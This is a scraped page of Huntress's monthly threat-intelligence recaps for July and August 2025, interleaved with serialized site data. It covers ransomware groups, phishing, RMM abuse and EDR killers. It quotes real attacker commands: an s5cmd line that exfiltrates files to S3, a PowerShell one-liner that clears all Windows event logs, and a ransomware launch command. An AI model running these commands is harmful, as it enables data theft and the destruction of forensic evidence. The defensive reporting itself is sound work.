As seen in the chart below, the majority of ransomware incidents tracked by Tactical Response are linked to Akira (52.8%). Coming in behind Akira are Qilin (in 11.1% of tracked incidents), LockBit (8.3%) and Crux (8.3%). It’s worth noting that these findings are developed from ransomware incidents tracked specifically by Tactical Response, rather than all ransomware incidents that pass through the SOC.

$\"\"$ Breakdown of ransomware groups tracked by Tactical Response

The Tactical Response team’s data also shows us the top initial access vectors used by ransomware groups. While the initial access for the majority of cases could not be determined (and other cases are still under investigation), threat groups got in through VPNs in 27.8% of incidents. They also targeted RDP in 11.1% of incidents and RMMs in 2.8% of cases.

$\"\"$ Breakdown of initial access vectors for ransomware groups

","Ransomware findings","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2Fadb27e94b1cf49ab923de9503a34ec9d",[706,707,708,709],"

",{"_122":719,"_102":720,"_682":95,"_125":721},{"_122":716,"_102":717,"_682":95,"_125":718},{"_122":713,"_102":714,"_682":95,"_125":715},{"_122":710,"_102":711,"_682":95,"_125":712},"

We’ve noticed a recent jump in phishing attacks using fake hotel booking websites (shout out to Austin Worline, Security Operations Analyst, for flagging this trend!).

The phishing example below uses a fake captcha, a technique that tricks users into solving a captcha challenge via social engineering to drop malware. Here’s what happened:

A user opened an email with a malicious link for a phony hotel booking webpage and a bogus captcha challenge. Then, the user unknowingly executed a malicious captcha payload, which launched a suspicious payload for persistence.

$\"\"$ Webpage instructing the target to solve a fake captcha challenge as part of a phishing attack

In another incident, a user:

Got a phishing email in their Outlook account with a suspicious shortened URL
Directed user activity to another page (\"https[:]//2f-regdocuments-approval3d[.]com/ssa/red[.]php\"), triggering a malicious MSI installer
Installed unauthorized instances of RMM tools, including Atera and Splashtop RMM

","Hotels in the crosshairs of fake captcha phishing schemes","

We’ve seen increased targeting with email phishing attacks against our partners in the hotel industry. Companies in this sector should be vigilant for signs of these phishing attacks and use Managed Security Awareness Training (SAT) to level up employees’ awareness of phishing threats.

","

Recently, we came across threat actors exfiltrating data with s5cmd, an open-source tool. According to GitHub, this is “a high-performance command-line tool designed for interacting with S3-compatible object storage and local filesystems.”

We saw s5cmd used in a Qilin ransomware attack in the following command line:

s5cmd --credentials-file credentials cp --include \"*.pdf\" --include \"*.png\" --include \"*.jpg\" --include \"*.jpeg\" --include \"*.xls\" --include \"*.xlsx\" --include \"*.tif\" --include \"*.zip\" --include \"*.doc\" --include \"*.docx\" \"[Folder]\" s3://[Resource]

The threat actor accessed the infrastructure via Remote Desktop Protocol (RDP), used s5cmd.exe for data exfiltration, and ultimately used PSExec to push the ransomware executable and launch it on other endpoints.

","Data exfiltration with open-source tools","

Our security experts see many types of tools and techniques for data exfiltration - the use of s5cmd shows how threat actors are using open-source tools.

","

We saw separate incidents in June and July with a similar threat activity pattern: threat actors compromising MSPs’ Atera Remote Monitoring and Management (RMM) instances and then targeting the downstream customers, installing Cloudflare tunnels and, in some cases, deploying Akira ransomware.

$\"\"$ Process tree showing how the threat actor compromised an MSP Atera RMM instance

We shared details in a two-part blog series on an initial attack in mid-June, and several subsequent incidents with similar tactics, techniques,and procedures (TTPs) - like the same Cloudflare tunnel token account tags, threat actor workstation names, and identical indicators of compromise (IOCs).

","MSP RMM attacks persist","

Threat actors are actively targeting MSPs and their customers. Businesses can defend against RMM abuse by auditing, tracking, and monitoring for both authorized and malicious remote access tools. MSPs should also pay attention to legacy RMMs running in their customers’ environments.

","

We're seeing a new emerging ransomware variant called Crux. So far, we’ve spotted Crux in two incidents since July 2025. There isn’t public reporting on Crux ransomware yet, but according to a ransom note in an incident we detected, Crux claims to be part of BlackByte, a ransomware group with multiple malware variants dating back to 2021.

$\"\"$ Excerpt from Crux ransomware ransom note

We’ve seen the following threat activity associated with the Crux ransomware incidents:

The use of RClone (typically used by attackers for data exfiltration)
Attempts to install drivers and remotely dump the contents of the Windows Registry
Attempts to disable Windows Recovery, which makes system restoration harder for victims

$\"\"$ Process tree showing threat actor disabling Windows Recovery

","Crux ransomware","

Crux is a previously unreported, emerging ransomware variant. The threat actors behind Crux claim to be part of the BlackByte ransomware group. Our SOC is closely monitoring our customers’ and partners’ environments to better understand the scope of Crux ransomware threat activity while blocking it early in the attack path.

","Huntress Adversary Tactics covers July 2025 threats including Crux ransomware, active SonicWall VPN exploitation, and Wing FTP Server RCE in the wild.",{"_193":194,"_195":196,"_104":197},{"_203":834},{"_203":817},{"_203":800},{"_203":772},{"_203":757},{"_203":730},{"_205":206,"_54":731,"_32":208,"_209":732},"662a8eb64d55ba142210c843",{"_211":733,"_213":734,"_34":735,"_216":734,"_218":736,"_54":731,"_220":221,"_222":737,"_224":221,"_225":738,"_227":228,"_56":739,"_230":230,"_231":740,"_233":741,"_283":17,"_235":236,"_237":742},"XBN8lOXr7QMH6JvQimte3OCtO6c2",1742719348297,{"_244":245,"_248":743,"_250":744,"_254":745,"_77":746,"_56":739,"_257":747,"_259":748,"_85":749,"_91":750},[],1794331023124,{},"Alden Schmidt",[],"usz5p2ilto",{},[753,754],"Former Senior Detection Engineer","https://www.linkedin.com/in/aldenschmidt/",{"_181":751,"_301":17,"_302":17,"_183":752},"https://images.huntress.com/asset/file/b864e24300dc465ba8ec3b06d5ee8718","Alden Schmidt profile picture","alden-schmidt",[93],"Read blog posts from Alden Schmidt on the Huntress Blog.","Alden Schmidt | Huntress",{"_266":756},{"_266":755},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":207,"_32":208,"_209":758},{"_211":212,"_213":214,"_34":759,"_216":217,"_218":760,"_54":207,"_220":221,"_222":223,"_224":221,"_225":761,"_227":228,"_56":229,"_230":230,"_231":762,"_233":763,"_235":236,"_237":764},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":765,"_250":251,"_252":253,"_254":255,"_77":766,"_56":229,"_257":258,"_259":260,"_85":261,"_91":767},[],{},[],"zq9hiw8u9f",{},[768,769],{"_181":263,"_183":229},[93],{"_266":771},{"_266":770},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":773},{"_211":274,"_213":275,"_34":774,"_216":275,"_218":775,"_54":272,"_222":278,"_224":221,"_225":776,"_227":228,"_56":280,"_527":528,"_230":230,"_231":777,"_233":530,"_283":17,"_235":236,"_237":778},{"_240":285,"_242":286,"_246":287,"_248":779,"_250":289,"_252":290,"_77":780,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":781,"_298":299},[],{},[],{},[782,783],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":792},{"_266":784},{"_205":206,"_54":270,"_32":248,"_209":785},{"_211":539,"_213":540,"_34":786,"_216":542,"_218":787,"_54":270,"_222":544,"_224":539,"_225":788,"_227":546,"_56":547,"_230":230,"_231":789,"_233":549,"_235":236,"_237":790},{"_56":547},[],{"_551":791,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":308,"_32":248,"_209":793},{"_211":539,"_213":563,"_34":794,"_216":565,"_218":795,"_54":308,"_222":567,"_224":539,"_225":796,"_227":546,"_56":569,"_230":230,"_231":797,"_233":571,"_235":236,"_237":798},{"_56":569},[],{"_551":799,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":801},{"_211":274,"_213":312,"_34":802,"_216":312,"_218":803,"_54":310,"_220":221,"_222":582,"_224":221,"_225":804,"_227":228,"_56":317,"_230":230,"_231":805,"_233":806,"_235":236,"_237":807},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":808,"_250":325,"_252":326,"_254":327,"_77":809,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":810,"_298":334},[],{},[],"23gbpwlc4oe",{},[811,812,813],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":816},{"_266":815},{"_266":814},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":818},{"_211":346,"_213":347,"_34":819,"_216":347,"_218":820,"_54":344,"_220":221,"_222":600,"_224":221,"_225":821,"_227":228,"_56":352,"_230":230,"_231":822,"_233":823,"_235":236,"_237":824},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":825,"_360":361,"_250":362,"_252":363,"_254":364,"_77":826,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":827,"_298":371},[],{},[],"9rxqspftg0e",{},[828,829,830],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":833},{"_266":832},{"_266":831},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":835},{"_211":346,"_213":383,"_34":836,"_216":383,"_218":837,"_54":381,"_220":221,"_222":618,"_224":221,"_225":838,"_227":228,"_56":388,"_230":230,"_231":839,"_233":840,"_283":17,"_235":236,"_237":841},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":842,"_250":396,"_252":397,"_254":398,"_77":843,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":844},[],{},[],"1t5vni47vmy",{},[845,846,847],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":850},{"_266":849},{"_266":848},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":854},"July 2025",{"_58":59,"_60":858,"_62":859,"_64":860,"_66":861,"_68":862,"_74":863,"_77":864,"_56":857,"_79":865,"_81":866,"_83":867,"_85":868,"_87":869,"_89":90,"_91":870},"2af828dad33e415caad3221dcc2d8d2e","Threat View from the Lens of Huntress Adversary Tactics: August 2025",[1096,1097,1098],{"_94":95},[928,929,930,931,932,933],{"_186":927,"_188":189,"_190":191,"_183":192},{},{"_122":97,"_94":17},{"_181":926,"_183":857},{"_106":871},"Wed Aug 27 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"august-2025",{"_94":95},[93],[872,873,874,875,876,877],{"_113":912,"_115":913,"_117":705,"_118":169},{"_113":906,"_115":907,"_117":908,"_118":484},{"_113":154,"_115":900,"_117":660,"_118":156},{"_113":141,"_115":895,"_117":896,"_118":144},{"_113":128,"_115":883,"_117":666,"_118":131},{"_113":114,"_115":878,"_117":97,"_118":119},[879,880],{"_122":882,"_102":127,"_682":17,"_125":97},{"_122":881,"_102":452,"_682":17,"_125":97},"

At Black Hat USA 2025, several members of Huntress’ security team took the stage to share their knowledge and expertise.

That included a sponsored session by John Hammond (“Lesser-Known Linux Persistence Mechanisms”). Black Hat attendees also heard from Ben Folland, Robert Knapp, Jonathan Johnson, and more in several different booth theatre sessions and demos!

$\"\"$

Greg Linares and Yarden Shafir gave a talk at Sikkerhetsfestivalen on The Patch That Wasn't: A Decade of Failure. The talk highlighted how a flaw in Microsoft’s codesigning checks still allowed malicious code to run at the kernel level.

Since we have seen some attackers bring their own vulnerable drivers, this is a timely talk that will hopefully bring some actionable changes by Microsoft.

$\"\"$

","

$\"\"$

Our August Tradecraft Tuesday episode focused on the dark web where Huntress’ John Hammond and Dave Kleinatland explored popular underground forums, marketplaces, and ransomware data leak sites.

",[884,885,886,887,888],{"_122":894,"_102":470,"_125":97},{"_122":893,"_102":468,"_125":97},{"_122":892,"_102":466,"_125":97},{"_122":891,"_102":464,"_125":97},{"_122":889,"_102":890,"_125":97},"

Improvements to the Huntress Platform enhance the overall experience for partners and strengthen the product's foundation.

We’ve updated incident reports to provide partners and customers with visibility into the full incident report history. Should reports be updated by the Huntress SOC, the latest report can always be found at the top, with historical reports listed afterward. More robust customer-facing error logging and retry options for PSA integrations reduce support load and make debugging easier, leading to quicker resolution of issues.

","Platform","

Huntress Security Awareness Training (SAT) continues to evolve to better equip users against sophisticated social engineering attacks.

We introduced a new FileFix phishing scenario to expose learners to cutting-edge tradecraft, complete with corresponding Phishing Defense Coaching. We also launched a new Smishing episode to address emerging mobile-based threats.

Managed SAT has enabled Learner Aliases to use learners’ immutable IDs rather than their email address as primary ID. This allows better support for email address changes, and ensures SAT learners can appropriately report phishing from an alias associated with their account.

","

Huntress SIEM continues to demonstrate its effectiveness in early threat detection, allowing customers to identify and mitigate ransomware criminals and other threats significantly faster.

Recent enhancements to our log processing pipeline have improved stability, performance, and observability, ensuring reliable data collection and bolstering our ability to protect customers from evolving threats by providing timely and accurate insights into their security posture.

To further strengthen these protections, we’re expanding the number of supported log sources within our SIEM. By broadening our integrations, we’re enabling security teams to centralize even more data across their environments - giving them richer visibility, faster correlation of events, and greater flexibility to meet both security and compliance needs.

","

The product team continues to focus on long-term architectural investments to address data flow, underscoring a commitment to robust and scalable identity protection, which is crucial for preventing lateral movement and privilege escalation by attackers.

","

The EDR for Linux Open Beta started on August 19, marking a significant expansion of Huntress's endpoint protection capabilities to a critical operating system! 🎉 This new functionality is supported by the same SOC workflows as Windows and macOS and offers crucial visibility and control over Linux environments, a common target for threat actors. Try it for free today and find what shady footholds and GTFOBins hackers are using in your environment.

The GA release of Tamper Protection for macOS enhances the overall resilience and manageability of EDR deployments, directly addressing the challenge of threat actors attempting to uninstall agents and create blind spots. Tamper Protection for macOS protects the Huntress app, Huntress system extension, and other important Huntress files against being deleted, moved, or renamed (any of which could interrupt service).

We also made it easy to see conflicting Windows Firewall configurations that could lead to the firewall being inadvertently enabled or disabled as well as made it easier to manage Antivirus Exclusions by introducing a bulk delete capability.

",[897],"

",{"_122":898,"_102":685,"_682":95,"_125":899},"

In an incident from late July to mid-August, we found multiple active Akira ransomware intrusions exploiting SonicWall appliances. SonicWall said with high confidence the threat activity is not connected to a zero-day flaw. They believe it is related to CVE-2024-40766, an improper access control flaw, first published in August 2024, which can lead to “unauthorized resource access.”

Our Rapid Response blog post on this threat activity shared the IoCs, types of TTPs we saw, and evidence of the threat actors targeting SonicWall firewalls with SSL VPN enabled before deploying the Akira ransomware. In some incidents, the threat actors immediately gained administrative access by leveraging an over-privileged LDAP or service account used by the SonicWall device itself (e.g., sonicwall, LDAPAdmin).

Meanwhile, in a series of updates, SonicWall said that many of the incidents appear to be related to migrations from Gen 6 to Gen 7 firewalls, where local user passwords were carried over during the migrations and were not reset afterward. SonicWall advised users to reset all local user account passwords for any accounts with SSL VPN access (especially if they were carried over during migration from Gen 6 to Gen 7). In the latest update regarding LDAP accounts being used in the incidents, SonicWall said:

“The local user account password recommendation does not apply to auto-generated or locally duplicated LDAP/RADIUS users. SonicOS does not store the passwords of these users. Only if a password has been set for a user on the firewall management interface is it a local user.”

We continued to post updates throughout August, including the use by Akira actors of two legitimate Windows drivers—rwdrv.sys and hlpdrv.sys—in BYOVD attacks, with the end goal of evading or disabling security tools.

","

We continue to track this threat and work with other companies to stay on top of all relevant information. Jamie Levy with the Adversary Tactics team also joined Right of Boom’s The CyberCall podcast, along with SonicWall’s VP of ThreatOps, to discuss this series of incidents and answer questions about the surge of exploitations.

$\"\"$ Huntress’ Jamie Levy joins The CyberCall to discuss recent SonicWall VPN exploitation

",[901,902],{"_122":905,"_102":692,"_682":17,"_125":97},{"_122":903,"_102":904,"_682":17,"_125":97},"

Recent reports point to increased use of “EDR killer” tools by ransomware groups. Tools, like RansomHub’s “EDRKillShifter” aren’t new - they’ve been used for the past few years to disable EDR, typically through Bring Your Own Vulnerable Driver (BYOVD) attacks. Several ransomware groups have recently been using a new EDR killer tool to target vendors like Sophos, Microsoft Defender, Kaspersky, Symantec, Trend Micro, and SentinelOne.

This latest tool uses an obfuscated binary that’s self-decoded at runtime. It searches for a digitally signed driver (complete with a stolen or expired certificate) before loading the malicious driver into the kernel. This allows threat actors to bypass EDR as they gain the kernel privileges needed to disable security products.

At Huntress, we’ve been tracking these attacker strategies for some time. We have built-in features like tamper protection to help mitigate previous EDR killer tools used by threat actors. Additionally, by catching the attacker in the early stages of attacks—before they can use one of these EDR killer tools—Huntress shuts down this problem at the source.

$\"\"$

","‘EDR killer’ tools: what we’re seeing","

Interpol ran a massive takedown operation in Africa spanning 15+ countries and leading to the arrest of more than 1,200 criminals. Operation Serengeti 2.0, a continuation of an operation that initially started in September of 2024, highlights the trend of authorities taking down infrastructure and financial components used to fuel cybercrime. The operation was jointly executed with authorities in the UK to arrest ransomware operators who were working with these criminals in Africa, as well as Chinese nationals.

It’s noted that this attack directly impacts the Bl00dy and RansomHub groups that appear to launder portions of their cryptocurrency through elements and personnel located in Ghana and Seychelles, respectively.

$\"\"$ A distribution flow chart for Bl00dy ransomware groups' laundering services in Ghana

The impressive takedown list from this campaign includes 25 cryptocurrency mining centers, which were used to fraudulently validate transactions on the blockchain. Authorities removed 45 illegal power stations, which powered these mining centers.

$\"\"$ An illegal power station in Angola that powered fraudulent cryptocurrency mining centers

Additionally, Serengeti 2.0 disrupted multiple email scams. Over $97 million was successfully recovered for 11,432 victims of email inheritance fraud.

","https://images.huntress.com/asset/file/3975d45a6b0c42dc8f97bb494f726f8b",[909],"

",{"_122":910,"_102":911,"_682":17,"_125":97},"

Anton Ovrutsky posted an incident walkthrough video that breaks down how a threat actor used an exposed RDP instance to deploy ransomware. Check out the video here!

$\"\"$ The latest SOC incident walkthrough video from Tactical Response

","SOC incident walkthrough","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F840047b3f71e4cdfb3c133607bf1c679",[914,915,916],{"_122":923,"_102":924,"_682":95,"_125":925},{"_122":920,"_102":921,"_682":95,"_125":922},{"_122":917,"_102":918,"_682":95,"_125":919},"\n

In a wave of separate attacks over the past month, we’ve seen threat actors affiliated with Akira ransomware take steps to clear the Windows Event Logs, significantly limiting the available data for detections, audits, investigations, and more. This includes incidents where we saw Akira linked to the recent SonicWall VPN attacks.

The incidents used a command with the -dellog argument, which triggers the following PowerShell command to clear the event logs:

powershell.exe -ep bypass -Command \"Get-WinEvent -ListLog * | where { $_.RecordCount } | ForEach-Object -Process{ [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }\"

","Akira clears Windows Event Logs","

Ransomware actors continue to use tactics that evade detection and hold back investigations. While clearing Windows Event Logs is not a novel or unique technique, it’s important for defenders to understand how this is used in recent Akira-related incidents.

","

We recently started seeing a newer ransomware variant called KawaLocker (also known as KAWA4096). According to analysis from TrustWave’s SpiderLabs team, which initially uncovered the threat, KawaLocker first made its debut in June 2025.

We first saw Kawalocker ransomware on August 8. During the incident, the threat actor:

Accessed the victim’s endpoint via Remote Desktop Protocol (RDP) using a compromised account
Deployed HRSword and installed kernel drivers sysdiag.sys and hrwfpdr.sys, which aimed to disable security tools
Deployed the KawaLocker ransomware via the following command: e.exe -d=\"E:\\\\\"

$\"\"$ KawaLocker ransom note seen in incidents

","Kawalocker ransomware","

Over the last few months, we’ve seen various emerging ransomware variants, like Cephalus and Crux. When we spot newer variants in the attack path, we detail the specific commands and Indicators of Compromise (IoCs) to help the security community better track these threats. You can read the full breakdown of the attack that included KawaLocker ransomware here.

","

On August 13, our SOC responded to a ransomware attack involving dynamic link library (DLL) sideloading via a legitimate SentinelOne binary. DLL sideloading is a detection evasion technique that involves executing malicious code through signed executables. Because this involves trusted executables, it helps threat actors sidestep security solutions. In the incident, we saw that the threat actor loaded SentinelAgentCore.dll from SentinelBrowserNativeHost.exe. The DLL then loaded data.bin, which contained the actual ransomware code. The attacker used Remote Desktop Protocol (RDP) as an initial access vector. They also ran a series of commands to create Microsoft Defender exclusions for various file paths (C:\\Windows\\System32\\svchost.exe and C:\\Windows\\Temp) and file extensions (.dat, .sss, .cache, and .tmp), in an attempt to avoid detection. The ransom note linked the attack back to a ransomware variant called Cephalus, which we recently detailed in a blog post.

$\"\"$ Cephalus ransom note seen in attacks

","Cephalus ransomware: DLL sideloading via legit SentinelOne binary","

We’ve seen similar paths for DLL sideloading (specifically combining SentinelAgentCore.dll and SentinelBrowserNativeHost.exe) in other incidents. A solid understanding of the Cephalus ransomware attack path is critical for fast detection and response before your files are encrypted.

","Huntress Adversary Tactics covers August 2025 threats including Cephalus and Kawalocker ransomware, active SonicWall VPN exploits, and EDR killer tools tracked by the SOC.",{"_193":194,"_195":196,"_104":197},{"_203":1054},{"_203":1009},{"_203":992},{"_203":964},{"_203":949},{"_203":934},{"_205":206,"_54":731,"_32":208,"_209":935},{"_211":733,"_213":734,"_34":936,"_216":734,"_218":937,"_54":731,"_220":221,"_222":737,"_224":221,"_225":938,"_227":228,"_56":739,"_230":230,"_231":939,"_233":940,"_283":17,"_235":236,"_237":941},{"_244":245,"_248":942,"_250":744,"_254":745,"_77":943,"_56":739,"_257":747,"_259":748,"_85":749,"_91":944},[],{},[],"r1x7e28sb9",{},[945,946],{"_181":751,"_301":17,"_302":17,"_183":752},[93],{"_266":948},{"_266":947},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":207,"_32":208,"_209":950},{"_211":212,"_213":214,"_34":951,"_216":217,"_218":952,"_54":207,"_220":221,"_222":223,"_224":221,"_225":953,"_227":228,"_56":229,"_230":230,"_231":954,"_233":955,"_235":236,"_237":956},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":957,"_250":251,"_252":253,"_254":255,"_77":958,"_56":229,"_257":258,"_259":260,"_85":261,"_91":959},[],{},[],"f2bbzk658g7",{},[960,961],{"_181":263,"_183":229},[93],{"_266":963},{"_266":962},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":965},{"_211":274,"_213":275,"_34":966,"_216":275,"_218":967,"_54":272,"_222":278,"_224":221,"_225":968,"_227":228,"_56":280,"_527":528,"_230":230,"_231":969,"_233":530,"_283":17,"_235":236,"_237":970},{"_240":285,"_242":286,"_246":287,"_248":971,"_250":289,"_252":290,"_77":972,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":973,"_298":299},[],{},[],{},[974,975],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":984},{"_266":976},{"_205":206,"_54":270,"_32":248,"_209":977},{"_211":539,"_213":540,"_34":978,"_216":542,"_218":979,"_54":270,"_222":544,"_224":539,"_225":980,"_227":546,"_56":547,"_230":230,"_231":981,"_233":549,"_235":236,"_237":982},{"_56":547},[],{"_551":983,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":308,"_32":248,"_209":985},{"_211":539,"_213":563,"_34":986,"_216":565,"_218":987,"_54":308,"_222":567,"_224":539,"_225":988,"_227":546,"_56":569,"_230":230,"_231":989,"_233":571,"_235":236,"_237":990},{"_56":569},[],{"_551":991,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":993},{"_211":274,"_213":312,"_34":994,"_216":312,"_218":995,"_54":310,"_220":221,"_222":582,"_224":221,"_225":996,"_227":228,"_56":317,"_230":230,"_231":997,"_233":998,"_235":236,"_237":999},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":1000,"_250":325,"_252":326,"_254":327,"_77":1001,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":1002,"_298":334},[],{},[],"8abbkncnp3v",{},[1003,1004,1005],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":1008},{"_266":1007},{"_266":1006},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":1010},{"_211":346,"_213":347,"_34":1011,"_216":347,"_218":1012,"_54":344,"_222":350,"_224":221,"_225":1013,"_227":228,"_56":352,"_527":1014,"_230":230,"_231":1015,"_233":1016,"_235":236,"_237":1017},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":1018,"_360":361,"_250":362,"_252":363,"_254":364,"_77":1019,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":1020,"_298":371},[],{},-31916.5,[],"4e23ba3z737",{},[1021,1022,1023],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":1045},{"_266":1036},{"_266":1024},{"_205":206,"_54":268,"_32":248,"_209":1025},{"_211":733,"_213":1026,"_34":1027,"_216":1028,"_218":1029,"_54":268,"_222":1030,"_224":733,"_225":1031,"_227":546,"_56":180,"_230":230,"_231":1032,"_233":1033,"_235":236,"_237":1034},1775492857360,{"_56":180},1775492871494,[],1775492871504,{"_551":1035,"_553":95,"_555":34,"_556":97},[],"6bx7gc9sji7",{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":308,"_32":248,"_209":1037},{"_211":539,"_213":563,"_34":1038,"_216":565,"_218":1039,"_54":308,"_222":567,"_224":539,"_225":1040,"_227":546,"_56":569,"_230":230,"_231":1041,"_233":1042,"_235":236,"_237":1043},{"_56":569},[],{"_551":1044,"_553":95,"_555":34,"_556":97},[],"uy8urgt4ggc",{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":1046},{"_211":539,"_213":540,"_34":1047,"_216":542,"_218":1048,"_54":270,"_222":544,"_224":539,"_225":1049,"_227":546,"_56":547,"_230":230,"_231":1050,"_233":1051,"_235":236,"_237":1052},{"_56":547},[],{"_551":1053,"_553":95,"_554":17,"_555":34,"_556":97},[],"manmlwmg1wg",{},{"_557":558,"_559":560},{"_205":206,"_54":381,"_32":208,"_209":1055},{"_211":346,"_213":383,"_34":1056,"_216":383,"_218":1057,"_54":381,"_222":386,"_224":221,"_225":1058,"_227":228,"_56":388,"_527":1059,"_230":230,"_231":1060,"_233":1061,"_283":17,"_235":236,"_237":1062},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":1063,"_250":396,"_252":397,"_254":398,"_77":1064,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":1065},[],{},-31894.5,[],"f9bxlux7wsl",{},[1066,1067,1068],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":1087},{"_266":1078},{"_266":1069},{"_205":206,"_54":268,"_32":248,"_209":1070},{"_211":733,"_213":1026,"_34":1071,"_216":1028,"_218":1072,"_54":268,"_222":1030,"_224":733,"_225":1073,"_227":546,"_56":180,"_230":230,"_231":1074,"_233":1075,"_235":236,"_237":1076},{"_56":180},[],{"_551":1077,"_553":95,"_555":34,"_556":97},[],"uv0fkxew8y",{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":308,"_32":248,"_209":1079},{"_211":539,"_213":563,"_34":1080,"_216":565,"_218":1081,"_54":308,"_222":567,"_224":539,"_225":1082,"_227":546,"_56":569,"_230":230,"_231":1083,"_233":1084,"_235":236,"_237":1085},{"_56":569},[],{"_551":1086,"_553":95,"_555":34,"_556":97},[],"qbxh085slh",{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":1088},{"_211":539,"_213":540,"_34":1089,"_216":542,"_218":1090,"_54":270,"_222":544,"_224":539,"_225":1091,"_227":546,"_56":547,"_230":230,"_231":1092,"_233":1093,"_235":236,"_237":1094},{"_56":547},[],{"_551":1095,"_553":95,"_554":17,"_555":34,"_556":97},[],"xa1tmcwwcjf",{},{"_557":558,"_559":560},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":1099},"August 2025",{"_58":59,"_60":1103,"_62":1104,"_64":1105,"_66":1106,"_68":1107,"_74":1108,"_77":1109,"_56":1102,"_79":1110,"_81":1111,"_83":1112,"_85":1113,"_87":1114,"_89":90,"_91":1115},"d354cd4a2b904ce1b5f0d6222a8c4ce1","Threat View from the Lens of Huntress Adversary Tactics: September 2025",[1296,1297,1298],{"_94":95},[1181,1182,1183,1184,1185,1186],{"_186":1180,"_188":189,"_190":191,"_183":192},{},{"_122":97,"_94":17},{"_181":1179,"_183":1102},{"_106":1116},"Mon Sep 01 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"september-2025",{"_94":95},[93],[1117,1118,1119,1120,1121,1122],{"_113":1165,"_115":1166,"_117":705,"_118":169},{"_113":906,"_115":1158,"_117":908,"_118":484},{"_113":154,"_115":1146,"_117":660,"_118":156},{"_113":141,"_115":1141,"_117":1142,"_118":144},{"_113":128,"_115":1128,"_117":1129,"_118":131},{"_113":114,"_115":1123,"_117":97,"_118":119},[1124,1125],{"_122":1127,"_102":127,"_125":97},{"_122":1126,"_102":452,"_682":17,"_125":97},"

John Hammond appeared in an ABC News Nightline segment this month (starting around 2:52 in the linked video) to discuss the social engineering aspects behind “grandparent scams.” The segment covered how these scams work and their impact on victims.

$\"\"$

","

$\"\"$

In this month’s Tradecraft Tuesday episode–The Craftiest Trends, Scams, and Tradecraft of 2025 (So Far)– John Hammond and Greg Linares dove into the top types of tricky tradecraft that threat actors are using to target businesses, from ClickFix to deepfakes.

Be sure to tune into our Tradecraft Tuesday next month. Our upcoming episode, \"The Dangers You Don’t See: Threats Hiding in Your Network,” will tackle the top threats that our SOC is seeing so far in the trenches this year. Snag your spot now

",[1130,1131,1132,1133,1134],"

",{"_122":1140,"_102":470,"_682":17,"_125":97},{"_122":1139,"_102":468,"_682":17,"_125":97},{"_122":1138,"_102":466,"_682":17,"_125":97},{"_122":1137,"_102":464,"_682":17,"_125":97},{"_122":1135,"_102":1136,"_125":97},"

Improvements to the Huntress Platform enhance the overall experience for partners and customers, and strengthen the product's foundation. The month saw a number of new Portal releases, including new and improved API documentation being shipped.

","Huntress Platform","

Huntress Security Awareness Training (SAT) continues to evolve to better equip users against sophisticated social engineering attacks.

